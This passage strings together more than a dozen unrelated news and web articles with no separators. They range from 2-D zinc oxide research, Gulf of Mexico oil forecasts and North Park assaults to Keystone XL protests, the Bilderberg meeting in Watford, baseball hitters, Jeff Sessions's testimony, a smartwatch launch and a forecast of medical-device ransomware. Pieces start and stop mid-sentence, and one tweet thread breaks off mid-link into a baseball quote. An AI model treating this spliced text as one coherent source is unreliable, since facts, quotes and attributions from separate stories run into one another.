carriers and electrons are the minority. Just to give you a sense of how making zinc oxide down a 2-D material changes its properties, it’s important to know that in its bulk form, zinc oxide is an n-type semiconductor. Producing p-type semiconductors from zinc oxide has been the aim of much research. Despite the breakthrough for zinc oxide production in two-dimensions, the real impact of this research may be that it opens the door for the production of fairly wide range of other 2-D materials that were not possible previously. To this end, the researchers are already looking at using their bottom-up surfactant technique to produce 2-D versions of gold and palladium. Wang added, in the press release: “It brings a lot of new functional material to this 2-D material category.”Source: U.S. Energy Information Administration, U.S. Energy Information Administration, Short-Term Energy Outlook, February 2016 U.S. Gulf of Mexico (GOM) crude oil production is estimated to increase to record high levels in 2017, even as oil prices remain low. EIA projects GOM production will average 1.63 million barrels per day (b/d) in 2016 and 1.79 million b/d in 2017, reaching 1.91 million b/d in December 2017. GOM production is expected to account for 18% and 21% of total forecast U.S. crude oil production in 2016 and 2017, respectively. Production in the GOM is less sensitive than onshore production in the Lower 48 states to short-term price movements. However, decreasing profit margins and reduced expectations for a quick oil price recovery have prompted many GOM operators to pull back on future deepwater exploration spending, reduce their active rig fleet by scrapping and stacking older rigs, and restructure or delay drilling rig contracts. These changes added uncertainty to the timelines of many GOM projects, with those in the early stages of development at greatest risk of delay or cancellation. Contributing to the forecasted production growth are 14 projects: 8 that started in 2015, 4 starting in 2016, and 2 anticipated to start in 2017. During 2015, eight fields in the Gulf of Mexico came online. With the exception of Anadarko's Lucius field, each of the fields was developed as a subsea well that is tied back to nearby existing production facilities. The use of subsea tiebacks allows producers to reduce both project costs and start-up times. The Lucius field produces oil using a type of floating production platform that supports drilling, production, and storage operations known as a truss spar. The Lucius spar is the largest in Anadarko's fleet. It consists of a large, hollow, weighted cylinder supporting a deck and is connected to an anchor on the seabed through a mooring system. Its design provides increased stability in harsh offshore conditions. Four fields are expected to start producing in 2016, including the Anadarko-operated Heidelberg field, which began producing in January. Heidelberg is producing at a spar that uses the same design as the Lucius truss spar, allowing the company to reduce development costs. Shell's Stones field development uses the first floating production, storage, and offload (FPSO) vessel in the GOM. FPSOs allow the development of fields that are complex, that have unique reservoir properties, and that do not have existing infrastructure. Crude oil produced from the Stones field will be transported from the Stones FPSO using tankers to refineries along the U.S. Gulf Coast. The other two fields expected to begin producing in 2016 (Gunflint and Holstein Deep) are subsea tiebacks. Two additional projects are projected to begin producing in 2017, and both are expected to be developed as subsea tiebacks. Principal contributor: Terry YenA woman walking by herself was knocked to the ground and punched in the face early Tuesday -- the fourth such assault this month in the North Park neighborhood. Police said they have no idea whether the case is connected to the startling string of attacks on women in the popular Uptown neighborhood. The woman was walking in the area of 2700 block of Lincoln Avenue at 1 a.m. when she was knocked to the ground and punched, according to a news release from the San Diego Police Department. She lost consciousness. She told police that when she regained consciousness, she was fully clothed and the suspect was gone. 3rd Sex Assault Reported in North Park Another sex assault -- the third of its kind -- has been reported in the North Park community, leaving residents and visitors on edge. This time, police have released a photo of a person of interest in the case. NBC 7's Candice Nguyen reports. (Published Wednesday, June 25, 2014) Police do not have a suspect description. News of the latest attack came Wednesday, the day after details of a third attempted sexual assault on June 11 were released. This one involved a man who knocked his victim to the ground but was scared off before he could complete his attack. Investigators said it happened around 1 a.m. on June 11 in the 3900 block of 33rd Street. Violence in North Park Worries Locals Two violent, high-profile crimes in less than one week in North Park have left some residents feeling uneasy. NBC 7’s Omari Fleming reports. (Published Saturday, June 14, 2014) A woman was walking alone in the area when she was attacked from behind by an unknown man who knocked her to the ground and attempted to force himself on her. Police said a vehicle drove down the street at that exact moment, which likely scared off the attacker. The man was last seen fleeing westbound on University Avenue. Though there is currently no suspect description in connection with this case, police did release two photos of a person of interest wanted for questioning, which can be seen below or here. The man’s image was captured on surveillance tape in the area right around the time of the attack. Detectives are working to determine if this assault is related to two other attempted sexual assaults that occurred in North Park on June 17 and June 21. Both of the victims in those cases were also walking alone when they were attacked, police said. The June 21 case involved a woman walking alone -- also in the 2700 block of Lincoln Avenue -- at around 9:40 p.m. She told police she was hit from behind by two suspects, who then knocked her to the ground. One suspect tried to pull off her clothes, but she fought back. After yelling for help, the suspect ran off. In the June 17 incident, a woman was walking in the 3200 block of Meade Avenue at around 11:30 p.m. when she was attacked by two unknown men. She also fought back and the suspects fled. All four attacks remain under investigation and anyone with information should contact the SDPD Mid-City Division at (619) 516-3000 or Crime Stoppers at (888) 580-8477. SDPD Acting Lt. Mike Holden said he believes the suspect in the June 11 assault may very well be involved in the attacks that soon followed. The series of attacks have left North Park residents and visitors on edge. Though the nightlight continues late into the evening in the popular community, police are warning women to avoid walking alone and be on high alert in the area. Serena Mann and her sister, Frances, frequent North Park almost every night. The news of the three assaults over the past two weeks is unsettling, especially since the sisters tend to stay out late on the weekends. “It’s pretty scary. I’d like to be safe in a place I hang out a lot,” Serena told NBC 7. The San Diego Police Department released some statistics showing the rate of sex crimes in the North Park area compared to previous years. Officials said that last year 3.3 percent of sex crimes reported throughout San Diego happened in North Park. This year, that figure is already at 3.8 percent, and it’s only June.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? A few years ago, it would have seemed implausible that a group of Midwestern ranchers and Native Americans would gather on the National Mall in opposition to the Keystone XL pipeline, as they did on Tuesday. Not because the union is so unlikely, but because the pipeline’s approval seemed all but certain. Ad Policy “We bring you pickles from the heartland,” said a farmer in a red baseball cap, extending a jar to a Native American elder. At his feet lay other gifts—jewelry, blankets and more homemade preserves—exchanged between members of the Cowboy and Indian Alliance, a coalition of ranchers, farmers and Native American tribes leading a weeklong protest against the Keystone pipeline. “All farmers and ranchers and Native Americans are environmentalists, because without the water and the land we have nothing. It’s our livelihood,” said Mike Blocher, who raises Quarter horses in Antelope County, Nebraska, on land TransCanada has claimed for the pipeline route. “If that oil runs out on my land, my grass is gone. My water’s gone. My farm ground is gone. My livelihood is gone. And what will they do? Say, ‘Here’s a few bucks.’” Later, riders on horseback made their way down the National Mall towards a cluster of teepees, which will be the hub for other action throughout the week: traditional water ceremonies to highlight the threat the pipeline poses to water resources like the Ogallala aquifer; an undisclosed “bold and creative action” at the White House on Thursday; and a rally on Saturday that organizers expect to draw several thousand people. Earth Day may be a shadow of its initial self, but there is still something vital in the anti-Keystone campaign, the most significant environmental movement in the United States today. No other campaign has drawn as much attention to the issue of climate change. Few environmental causes include such diverse stakeholders, from major green groups to ranchers concerned about property rights, to indigenous leaders to urban residents worried about pollution from refineries at the pipeline’s end point. Still, there is a growing tendency to trivialize the decision about the pipeline, as The New York Times did in an article on Tuesday that pointed out that the greenhouse gas emissions from KXL would amount to “an infinitesimal slice of the global total.” The campaign against Keystone isn’t ultimately about the impact of a single infrastructure project. The link between the pipeline and the future climate is indirect—the real point is the campaign itself. While the outcome of the Environmental Protection Agency’s rule-making process for carbon emissions from power plants may make a bigger contribution to the climate fight in absolute terms, there is no single law or decision that can “solve” the present crisis. Besides, it’s hard to imagine people chaining themselves to the White House fence while advocating for stricter bureaucratic standards. The first Earth Day illustrated how popular movement precedes political action. The 1970 demonstrations brought out some 20 million Americans, seemingly spontaneously. Within four year the agencies and legislation that undergird all of the environmental protections that matter today became law: the EPA, the National Oceanic and Atmospheric Administration, the Clean Air Act, the Clean Water Act, and the Endangered Species Act, to name a few. Now, one of the most needed regulations is a tax on carbon—a way of making fossil fuel companies pay for damage caused by their product. Such a tax could provide funds for badly needed investment in renewable energy and sustainable infrastructure while creating some incentive to keep fossil fuels in the ground. We know 80 percent of discovered reserves need to stay there if we want a chance to keep warming below the two degree Celsius threshold scientists say is critical. As Chris Hayes writes, this is essentially asking energy companies to give up at least $10 trillion in wealth. Currently the path to regulation of this sort is politically impassable. But the anti-KXL campaign, with its ability to stoke energy and build diverse coalitions, right now looks like one of our our best chances to provoke the political shift necessary for more radical change. The decision about the pipeline does itself matter, however. Given the overwhelming sense of paralysis, it’s easy to forget that inaction is a choice. We are electing a future of massive suffering. What Keystone illustrates so well is that we—the public and policymakers—make decisions about our climate future in any number of ways, both large and small, every day. Whether we drive or bike; whether we seek out modest ways to live or consume as much as we can afford; whether we drill deeper in search of profits or walk away from them. Many of these actions don’t feel like choices, and all of them are trivial in isolation. Together, however, they are the sum of our fate. The scale of climate change is such that all “solutions” will be inadequate and imperfect. Rejecting Keystone isn’t a solution, but it would be a signal that the easy cycle of business as usual can be disrupted. That radical choices can be made, the kind that have nothing to do with buying a Prius instead of an SUV. That even as the avenues to democratic participation are closed off, there is still power in popular protest. It was the idea that Keystone XL was inevitable that seemed most to bother Mike Blocher, the Quarter horse rancher. “They are just saying ‘this is the way it’s gonna be,” he said. “People say, ‘Why don’t you just take the money and run?’ Well, Nebraskans don’t take the money and run. We stay put.” Read more of The Nation’s special #MyClimateToo coverage: Mark Hertsgaard: Why TheNation.com Today Is All About Climate Naomi Klein: The Change Within: The Obstacles We Face Are Not Just External George Zornick: We’re the Fossil Fuel Industry’s Cheap Date Dani McClain: The ‘Environmentalists’ Who Scapegoat Immigrants and Women on Climate Change Jeremy Brecher: ‘Jobs vs. the Environment’: How to Counter the Divisive Big Lie Jon Wiener: Elizabeth Kolbert on Species Extinction and Climate Change Dave Zirin: Brazil’s World Cup Will Kick the Environment in the Teeth Steven Hsieh: People of Color Are Already Getting Hit the Hardest by Climate Change Michelle Chen: Where Have All the Green Jobs Gone? Peter Rothberg: Why I’m Not Totally Bummed Out This Earth Day Leslie Savan: This Is My Brain on Paper Towels Katrina vanden Heuvel: Earth Day’s Founding Father Wen Stephenson: Let This Earth Day Be The Last Katha Pollitt: Climate Change is the Tragedy of the Global Commons Michelle Goldberg: Fighting Despair to Fight Climate Change Take Action: Stop Cove PointRelax: thanks to Goldman Sachs and other 'donors', this year's conference will be cost-neutral for Hertfordshire – despite the construction of the Great Wall of Watford The auditorium grew hushed as a senior Watford borough councillor took to his feet. The police liaison team looked nervous. They had made their presentation and laid out their plans for this "unique event": the anti-terrorism zones, the identity checks, the restriction on vehicles stopping in the vicinity of this "important international conference". But now it was the turn of the people of Watford to speak. What would they make of this international three-day policy summit, with its heavyweight delegate list bulging with billionaire financiers, party leaders and media moguls, protected by the biggest security operation Watford has ever seen? "What this whole thing boils down to," boomed the councillor, "is this: are you, or are you not, setting a precedent for vehicles parking on the verge of the Old Hempstead Road?" Thus began an hour-long (hour-and-a-half-long?) discussion about whether or not cars and press vehicles should be allowed to park on a strip of grass running parallel to the A41, just opposite the Grove hotel. It was like a weird, dystopian episode of Keeping Up Appearances. Never mind that our ministers are meeting in secret with the heads of Shell, BP, Google and Amazon – what about the verge! There was an audible gasp when, under intense questioning, Chief Inspector Rhodes was forced to admit, citing a "bylaw", that the no-parking signs on the verge were actually fraudulent: no such law existed.. One lady, almost beside herself, gestured to the audience. "There are media here! This story is going to get out!" The verge would never be the same again, thanks to Bilderberg. The audience was an odd mix. Half were residents from around the venue worried about the possibility of tyre-damage to a strip of lawn; the other half were journalists from around the world worried about the geopolitical implications of a conference at which BAE, Stratfor and General Petraeus will be discussing "Africa's challenges". Both halves were worried about the funding for the gigantic security operation. The police assured sceptical residents that the conference would be "cost-neutral" for Hertfordshire, thanks in part to a "donation" from the conference organisers. This "donation" will have come, in part at least, from the Bilderberg Association, a registered UK charity that takes "donations" from BP and Goldman Sachs. So, in a sense, the Herts police are doing charity work for Goldman Sachs. Which must be a comfort for the executives of Goldman Sachs attending the conference: the vice-chairman, a director and the chairman of Goldman Sachs International. They've got their charity team out patrolling, keeping the lenses at bay. At one point in the meeting, during a tense exchange about contingency plans for dog-walkers, Rhodes let slip that Operation Discuss (the codename for the Bilderberg security operation) had been up and running for 18 months. Residents and journalists shared an intake of breath. "Eighteen months?" The reason for all the secrecy? "Terrorism". The Great Wall of Watford After 59 years of Bilderbgerg guests scuttling about in the shadows, ducking lenses and dodging the news, that's the rationale we're given? The same rationale, presumably, is behind the Great Wall of Watford, a concrete-and-wire security fence encircling the hotel. As ugly as it is unnecessary, it looks like the kind of thing you throw yourself against in a stalag before being machine-gunned from a watchtower. Appropriately fascistic, you might say, if you regard fascism as "the merger of corporate and government power", as Mussolini put it. The same threat of "terrorism" was used to justify the no-pedestrian, no-stopping zones near the venue. The police laid out their logic: they had "no specific intelligence" regarding a terror threat. However, in recent incidents, such as Boston and Woolwich, there had been no intelligence prior to the attack. Therefore the lack of any threat of a terror attack fitted exactly the profile of a terror attack. The lack of a threat was a threat. Welcome to 1984. Rhodes admitted that the anti-terror zones were flexible, and that residents would be allowed to pass through to their homes. But their value for security, he said, was that if people gathered in these zones who did not live locally, "they can easily be moved on" – not because they are terrorists but simply because they are gathering. That's the great thing about the threat of terrorism: it's so infinitely applicable. That said, the police liaison team have been amazing, and this year has marked a turning point for Bilderberg. Under pressure from journalists, and thanks in large part to the Herts constabulary liaison team, a press zone has been set aside within the hotel grounds. The pressure was kept up, and it was met with the early release of the delegate list, rushed out by the conference organisers with such speed that they forgot to change the date at the top of the web page from 2009 to 2013. But the biggest news of all was at the foot of the page. Two words: media contact. Welcome, Bilderberg, to the world. Suddenly, miraculously, we had entered a brave new world of normality: an international policy summit attended by the head of the IMF, the president (and a vice-president) of the European commission, the prime minister of Holland, a dozen other ministers, any number of transnational CEOs and bank bosses, the chairmen of the Swiss and Dutch national banks, and our own chancellor of the exchequer, was entering into a normal working relationship with the press. This was amazing! This was historic! And then, a few hours later, the media contact email address simply vanished from the website. Like a nervous faun, Bilderberg had nosed its way out of a hedge, sniffed the air, sensed danger, and jittered back into a thicket. Still, it was a courageous first step, and certainly not the last. There are rumours that a few of the delegates are fed up (understandably) with all the secrecy, and want to shift towards a more transparent way of doing business. To these delegates, we say: keep pushing. Between us, we can get there. Before the media contact was snatched away, I did manage a friendly email exchange, and my questions were promptly answered by a spokesman for the conference. The gist of the answers was this: none of the delegates pay to attend; no delegates join by phone or satellite; the conference programme "never includes any entertainment or performances"; and, as for the food, it's "buffet only, all days, all meals". I'm slightly sad about the buffet. I was kind of hoping for roast swan wrapped in gold leaf and stuffed with songbirds. As, I'm sure, was Ken Clarke. • Charlie Skelton is the script editor of 10 O'Clock Live, a writer on Have I Got News for You and a fan of Bilderberg since 2009. He'll be tweeting from Bilderberg Watford from @deYookKAUFMAN, Texas -- Police are searching for the suspect who pushed an elderly veteran as he was protecting the American flag outside his home, CBS DFW reports. World War II veteran Howard Banks, 92, is legally blind, but his memory is sharp. He said that a day before his birthday earlier this month, he heard someone outside his home pulling the American flag down from its pole, so he went outside to investigate. "I walked out, hanging onto the railing and stepped down. That must've startled them," Banks said. Police are searching for the suspect who pushed Howard Banks. CBS DFW Banks was determined to protect his flag after someone shredded his previous American flag and ripped up his Marine flag about a year ago. "They could see me. I couldn't see them," he said. "I turned and looked in the other direction, and about then -- 'wham!' They knocked me down." The person trying to take the flag down ran off while neighbors rushed in to help the veteran, who was left legally blind by a flare on Iwo Jima, The Associated Press reported. Howard Banks' American flag is shown. CBS DFW Banks has several bumps and bruises. He said he also twisted his knee. "On this forearm, it's kind of sore and rough," he said. "Both of them. I've still got soreness here, but I'm durable. I can take it." The injuries he suffered won't stop him from his life's mission to honor veterans who sacrifice and serve by displaying his American flag. "I think we all had that same feeling, that the flag was our identity. We were Americans," said Banks. "The fact that I'm getting older, and the less I can do… at least I can still do that." Banks said he didn't hear the suspect's voice so he is unsure if the person is a man or woman. In the meantime, his daughter, as well as neighbors and officers, are keeping a close eye on him and his flags.FEATHERSTONE ROVERS boss Jon Sharp will be happy if his side emerges from the weekend’s opening pre-season game unscathed. “Top of the list is getting through injury-free,” Sharp said of what he wants from tomorrow’s 1pm kick-off at Castleford Tigers. “Getting the blokes through safely and not coming up with any injuries is the first priority.” Despite that concern, Sharp is relishing seeing his new-look side in action for the first time. “It’s also about getting to see some combinations and trying new players in new positions,” he stressed. “It is going to be interesting. Pre-season is an opportunity to get some important stuff into them, but there’s no outcome. “We all want some games to come around. “I have no idea what I’ll get, but I know they are ready to have a run out, it is against a really good team who are well-coached and it is a really positive fixture. “We will get to see what we are doing well and what we need to do more work on.” Rovers, however, will not have everyone available as they will be without Danny Craven, who has joined on a season-long loan from Widnes Vikings. Sharp said: “He had an operation in the off-season and he’s still a couple of weeks away from taking contact. “Tim Spears got a knock on his knee and won’t be risked, but apart from that the new players will all play.”More than 1,000 people were sworn in as U.S. citizens at the Paramount Theater in Oakland on March 8, 2017. (Doug Sovern / CBS) OAKLAND (KCBS) – More than 1,000 people from 89 different countries became United States citizens at a mass ceremony at Oakland’s Paramount Theatre on Wednesday. KCBS political reporter Doug Sovern, who had the honor of welcoming them as the guest speaker, said many accelerated the process because of political uncertainty in their new country. Applications for U.S. citizenship have doubled since President Donald Trump took office. Immigration authorities said many people are rushing to become Americans before the rules change. Alice Chan has been living here for years, but decided she should better take the final step and become a citizen, anxious about Trump’s immigration policies: “As a rule, your Green Card is like a passport and is renewable forever. But you see rules changing every minute right now. So I didn’t want to run the risk of suddenly having my Green Card expire or not be renewable,” Chan told KCBS. They took the oath of citizenship en masse, families tearing up with pride. One new citizen, a man from Iran, wants to be more politically active but was afraid to until he became a citizen, especially since he held a passport from a country on the president’s travel ban list. “We as immigrants bring an interesting perspective because we don’t take things for granted. Because we know a lot of the rights that we have in this country is not the types of things you see in other countries,” he said. “So, it’s important for us as immigrants for us to educate the rest of the country to not take things for granted. It’s easy to lose them.”The liberal elite sometimes like to remind everybody that it’s wrong to stereotype an entire group of people. Well, unless that group of people is considered deplorable: 2017 the year it became embarrassing to be "white"…especially if from a "white, rural" region of US. — Joyce Carol Oates (@JoyceCarolOates) November 10, 2017 Does Oates realize that’s basically an in-kind donation to somebody she loathes? Thank you for helping with Donald Trump's 2020 reelection bid. May this early contribution accumulate much interest, and return to you a thousandfold. https://t.co/iVPSuXeRBM — Asiago Pinochevre?️? (@atwater_x) November 13, 2017 Hillary Clinton tried that and, well, it didn’t work out so well for her. at least Oates’ tweet will be held in high esteem by her fellow liberals, but they might not see the irony. You should definitely be embarrassed to be you for countless reasons; none of which have anything to do with the color of your skin. https://t.co/feMLGfUiID — Eric Spencer (@JustEric) November 13, 2017 I'm glad my soul isn't as wounded as this person https://t.co/47T2cRhwV5 — DaveinTexas (@DaveinTexas) November 13, 2017 Because they don't agree with your politics? The politics of elitists like you who wish to silence them? Nope. No embarrassment. https://t.co/ebTG6wC4Hc — Terry O' (@IrishTea1) November 13, 2017 Eye roll. This type of stupid doesn’t help. You should be embarrassed. https://t.co/u0OMigNSbY — Michelle (@michnic70) November 13, 2017 I am now mortified and embarrassed to call you my favorite author. How dare you stereotype such an enormous group of people. We should not be embarrassed to be white, but your wealthy, white self should be embarrassed to be you. — Rick Ubac (@RickUbacMcVicar) November 11, 2017 I couldn't tell if this was sarcastic or not….upon deeper inquiry, I think she's serious, which is pretty disgusting. The reactionary response to this mentality is predictable and devastating. https://t.co/fstr
he and Kelly] had the same trainer, and we were just working out together. I got to know him a little bit better off the field, and it’s just like any other friendship.” One of Votto’s most impressive traits is his ability to lay off pitches outside the zone. According to Fangraphs, Votto has only swung at 21.1 percent of the pitches he’s seen outside of the strike zone, good for eighth in all of baseball. Rizzo isn’t quite at that level, but his 26.6 percent is nothing to sneeze at, and it’s just another area in which he has steadily improved throughout his time with the Cubs. Rizzo’s walk rate has gone from 7.3 percent to 11.0 to 14.9. His ISO (isolated power, which is slugging minus batting average, a great indication of a player’s true power) has jumped from.178 to.186 to.243. Up and down the line, it appears Rizzo has steadily improved as his career has gone along, with 2013 just a blip on the radar dragged down largely by his.258 BABIP. But Votto accurately cautioned that looking at BABIP and assuming a player is having bad luck can lead one astray. “The idea that your numbers will come around because your luck will turn around... Well, are you being honest with yourself?” he said. “Whether you really have been unlucky, or is this a byproduct of too many ground balls, too many easy fly balls? I’m not really sure, but I do notice that some form of regression can be a bit of a lie if it’s not actually happening during a game. That’s where the scouts’ eyes come in. There needs to be a complement, a good relationship between both sides. When a scout says this guy’s just not driving the ball, how are you going to expect the luck to kick in if you’re swinging like [crap]?” It’s a fair point by Votto, but it appears that, along with some smart adjustments and the natural development of a young player, Rizzo’s gotten the luck back on his side in 2014. One thing that might've helped Rizzo is self-scouting -- watching video of himself and identifying issues that might be causing struggles at the plate. Votto is a fan of self-scouting but also knows it can lead to a player overthinking things and finding problems that really aren’t there. “I think there’s a fine line,” he said. “You don’t want to get too critical of yourself because I think you can get in trouble with that. If a lot of players look at themselves on video, they’ll always find something to adjust or that doesn’t look quite right. So I think you have to go off of feel as well as what you think of yourself on video. So it’s kind of a balancing act.” While the two seem to agree on a lot of things, Rizzo doesn’t take much satisfaction in his improved ability to take a free pass. “I don’t really take pride in walking -- I don’t really want to walk,” he said. “I’d rather drive the ball in the gap. But if I get a free pass, I get a free pass. It just depends on the situation. It really comes down to me swinging at the right pitches, and if I don’t get them and I have to walk, then I’ll walk.” Rizzo is on to something when he suggests his job is to look for pitches to drive, but if he doesn’t get one, a walk is the next best result. As Votto points out, their advanced approaches, which lead to high walk totals (Votto’s 18.1 percent walk rate leads the National League), mean they always provide value to their teams even if they’re not hitting. “Yeah, I take pride in it... because I think that style ages well, and it avoids slumps,” Votto said. “I have not been healthy this year on a consistent basis, and I’ve still had a fine year. I’m still providing value for the team, despite how I’ve felt physically. And I’m going to continue to do that because it’s one of the skills that I have. That’s the sort of skill that has a chance to stick with me the rest of my career.” And it’s putting together a strong, productive career that’s the ultimate goal. Right now, Rizzo is just working on one full season. “It’s very difficult, but Anthony’s doing very well,” Votto said. “The numbers point to a difference in performance and how, relative to his peers, he’s done better than most.” But Rizzo knows he can still get better. “Every day,” Rizzo said when asked if he picks the brains of those around him, specifically his hitting coaches and first base coach Eric Hinske. “One at-bat, I’ll get out of my approach, [and] they’ll calm me down, because I’ll be mad, obviously. Every day is a learning process. I think Miguel Cabrera is still learning as well.” Miguel Cabrera. Maybe Rizzo should make plans to train with him next offseason.One Baird speech, 17 busy civil servants: how a D.C. event sowed panic in Ottawa WASHINGTON - A recent Washington speech in which Foreign Affairs Minister John Baird demanded quick action on the Keystone XL pipeline appears to have prompted considerable anxiety back home in Ottawa. A panicked search for clarity about what the minister had actually said wound up prompting an email chain that involved no fewer than 17 civil servants. The cause of concern was a single line in Baird's speech in which he suggested that even a quick rejection of the project would be better than the ongoing uncertainty and foot-dragging surrounding the long-delayed project. Virtually every news organization that covered the January speech, Canadian and American alike, zeroed in on that headline-grabbing remark. So, apparently, did some of Keystone XL's many supporters within government. Emails obtained by The Canadian Press under the Access to Information Act illustrate a sense of panic at the highest level of government: the Privy Council Office, the central bureaucracy that serves the prime minister and cabinet. In a series of emails marked "Urgent," one official requested documented evidence that Baird had actually said what he was reported to have said. "I need that quote — need to know when he said it," said one message from a senior analyst in the PCO's communications department. "Need it by 8:30 (a.m.) please." The 17 people involved in the email chain came from various federal departments both in Ottawa and at the Canadian embassy in Washington. The hunt for Baird's remarks apparently lasted into the next day, even though his speech was carried live on Canadian network television. The speech had also been covered by numerous domestic and international media organizations, and a transcript was provided to reporters and also posted on the website of the Department of Foreign Affairs. "Please forward to me ASAP, as requested yesterday," said another email from PCO, the morning after the speech. "Need it as quickly as you can get it." The official appeared especially concerned that Baird had said, explicitly, that a "no" on Keystone would be better than silence. Here's what he actually said: "With the construction season coming up, I don't want a single worker sitting at home when they could be getting a knock on the door saying, 'You got a great job,'" Baird told the U.S. Chamber of Commerce on Jan. 16. "So if there’s one message I'm going to be promoting on this trip, it's this: the time for Keystone is now. I’ll go further — the time for a decision on Keystone is now, even if it’s not the right one." The email chain from January suggests the civil service deployed considerable effort to assist PCO. "Multiple people working on your request," one Foreign Affairs employee replied. "Regrettably this is taking more time than it should." One diplomat asked whether they really wanted an audio file, in addition to the transcript, because "people are working very hard on this." For reasons not entirely clear in the email chain, the panic eventually abated. "We're still interested in seeing it but at this point you can dial down the urgency," said the PCO official. "Later in the day is fine, no one needs to skip a coffee break over this." On the substance of the file, the Canadian government didn't wind up getting what it wanted. Later in Baird's trip, he appeared at a podium with his U.S. counterpart John Kerry, and the secretary of state explained that he would take his time to go through the mountain of public comments generated by the Keystone consultation. Thirteen weeks later, the U.S. government suspended the approval process, not only because of the public feedback but also because a Nebraska court dispute had put the pipeline route in limbo. Meanwhile, Baird's any-answer-will-do remark appears to have vanished entirely from the Canadian government's hymn book. Asked this week whether it was still the federal position that a quick rejection was preferable to a later approval, a Baird spokesman replied in an email: "Our Government knows that Keystone XL will create jobs and economic growth on both sides of the border while increasing North American energy security." "The U.S. State Department has determined, on multiple occasions, it will be environmentally sound, and we are confident the Obama administration will make the right decision."Attorney General Jeff Sessions said he does not recall meeting with Russian Ambassador to the United States Sergey Kislyak at the Mayflower Hotel. (Reuters) Attorney General Jeff Sessions's defense for failing to disclose two campaign-year meetings with a Russian diplomat comes down to a critical distinction: At times during the presidential race, he acted as a surrogate for Donald Trump. At other times, he acted as a U.S. senator. The roles were separate, he insists, which is why a statement he made during a confirmation hearing in January — “I did not have communications with the Russians” — should not be viewed as dishonest. “I was responding to this allegation that we had met — surrogates had been meeting with Russians on a regular basis,” Sessions said Tuesday in testimony before the Senate Intelligence Committee. “It simply did not occur to me to go further than the context of the question and to list any conversations that I may have had with Russians in routine situations” as a senator. [Jeff Sessions testifies: Refuses to say whether he spoke to President Trump about Comey’s handling of Russia investigation] Sessions spokeswoman, Sarah Isgur Flores, said essentially the same thing in March: “He was asked during the hearing about communications between Russia and the Trump campaign — not about meetings he took as a senator and a member of the Armed Services Committee.” Got that, everyone? There was a bright line between Senator Sessions and Surrogate Sessions. Surrogate Sessions “did not have communications with the Russians.” Senator Sessions did. Why can't people see the clear division? Maybe because Attorney General Sessions can't see it, either. During Thursday's hearing, Intelligence Committee Chairman Sen. Richard Burr (R-N.C.) asked about an April 2016 campaign event at the Mayflower Hotel in Washington, where Trump delivered a foreign policy speech. The event is significant because both Sessions and Sergey Kislyak, Russia's ambassador to the United States, attended. Multiple news outlets reported last week that former FBI director James B. Comey told committee members in a closed session that Sessions and Kislyak might have spoken at that event, too. Sessions testified on Thursday that he does not recall whether he talked to Kislyak that day. In any case, Burr wanted to know which hat Sessions was wearing when he attended the speech. BURR: Would you say that you were there as a United States senator or as a surrogate of the campaign for this event? SESSION: I came there as an interested person, very anxious to see how President Trump would do in his first major foreign policy address. I believe he'd only given one major speech before. That was maybe at the Jewish AIPAC event. So, it was an interesting time for me to observe his delivery and the message he would make. That was my main purpose of being there. What happened to the bright line? Sessions couldn't or wouldn't say whether he was acting as a surrogate or a senator. That's a problem because, according to him, it makes all the difference. Let's apply his own standard: If Senator Sessions talked to Kislyak, then his statement in January was truthful. If Surrogate Sessions talked to Kislyak, then it was not. It is hard for Attorney General Sessions to argue that others should distinguish between his dual roles during the campaign if he can't do the same.Omate‘s first smartwatch was an Android-powered device that you could use to run apps, make phone calls, or pair with your phone to display notifications. But what makes the Omate Truesmart different from most smartwatches was that it could be a truly stand-alone device. Priced at $299, it’s also more expensive than most smartwatches. Now Omate is introducing a more affordable watch. It’s called the Omate X and the company describes it as a “companion smartwatch” which is designed to be used with a phone. With pre-orders beginning September 1st for $129, it’s also less than half the price of a TrueSmart. The Omate X has a 1.54 inch, 240 x 240 pixel TFT LCD curved touchscreen display, a 400mAh battery for up to a week of battery life. You can pair the phone with an Android or iOS phone over Bluetooth 4.0 low energy. It has a 3-axis motion sensor and an accelerometer buttons on the side for power and home functions. The watch has an aluminum case, removable watch straps. The device has a simpler user interface and fewer functions than the Omate Truesmart. But it can display notifications about incoming calls or messages, social network updates, or other details from your phone. The Omate X also displays weather information, works as a remote control for music playback on your phone, and has a customizable clock, wallpaper, and other features. While it doesn’t have all the features you’d get with an Android Wear device like the LG G Watch or Samsung Gear Live, Omate is working on adding voice controls and unlike Android Wear, the Omate X will work with Apple devices running iOS 6 or later as well as devices running Android 4.3 or later. Pre-orders run from September 1st through the 30th and Omate plans to start shipping watches in October.The idea of hackers holding patients ransom while suspending use of their medical devices is absolutely terrifying, but according to a new Forrester report, it is probable in the near future. Healthcare has proven to be behind the times when it comes to monitoring cybersecurity, mostly in the realm of data breaches, as we know. But this could have some new devastating costs. Ransomware is used to control use of a computer and holds it hostage until the victim pays, usually in the form of Bitcoins. And ransomware has recently hit Windows users the most, but some Android and MacOS users are now dealing with the same challenge. But what is the real likelihood of this being a major issue in 2016? “That’s a bold specific prediction,” Joshua Corman, founder of I Am the Cavalry, a global grassroots organization focused on issues where computer security intersects public safety and human life, told Vice Motherboard. “I hope it doesn’t happen as they say it will, because that would shatter our confidence in these lifesaving medical devices.” It might be a bold prediction and one that would be clearly devastating in most cases, but even with that sentiment, some believe the technical possibility is entirely warranted. “It’s definitely feasible from a technical standpoint,” said medical device security researcher Billy Rios, according to Motherboard. “Given the urgency associated with these devices, I could see it as something that could happen next year. All that would be required from an attacker standpoint is small modifications to the malware to make it work.” This could be our current reality’s version of an exponential holdup. “People who say ‘oh but no one would ever do that’ fail to understand that on the internet, every sociopath is your next door neighbor,” Corman said. “I am increasingly uncomfortable relying on the kindness of strangers everywhere on the planet. Assuming that no one would do this is naive,” he added, “and assuming that organizations are 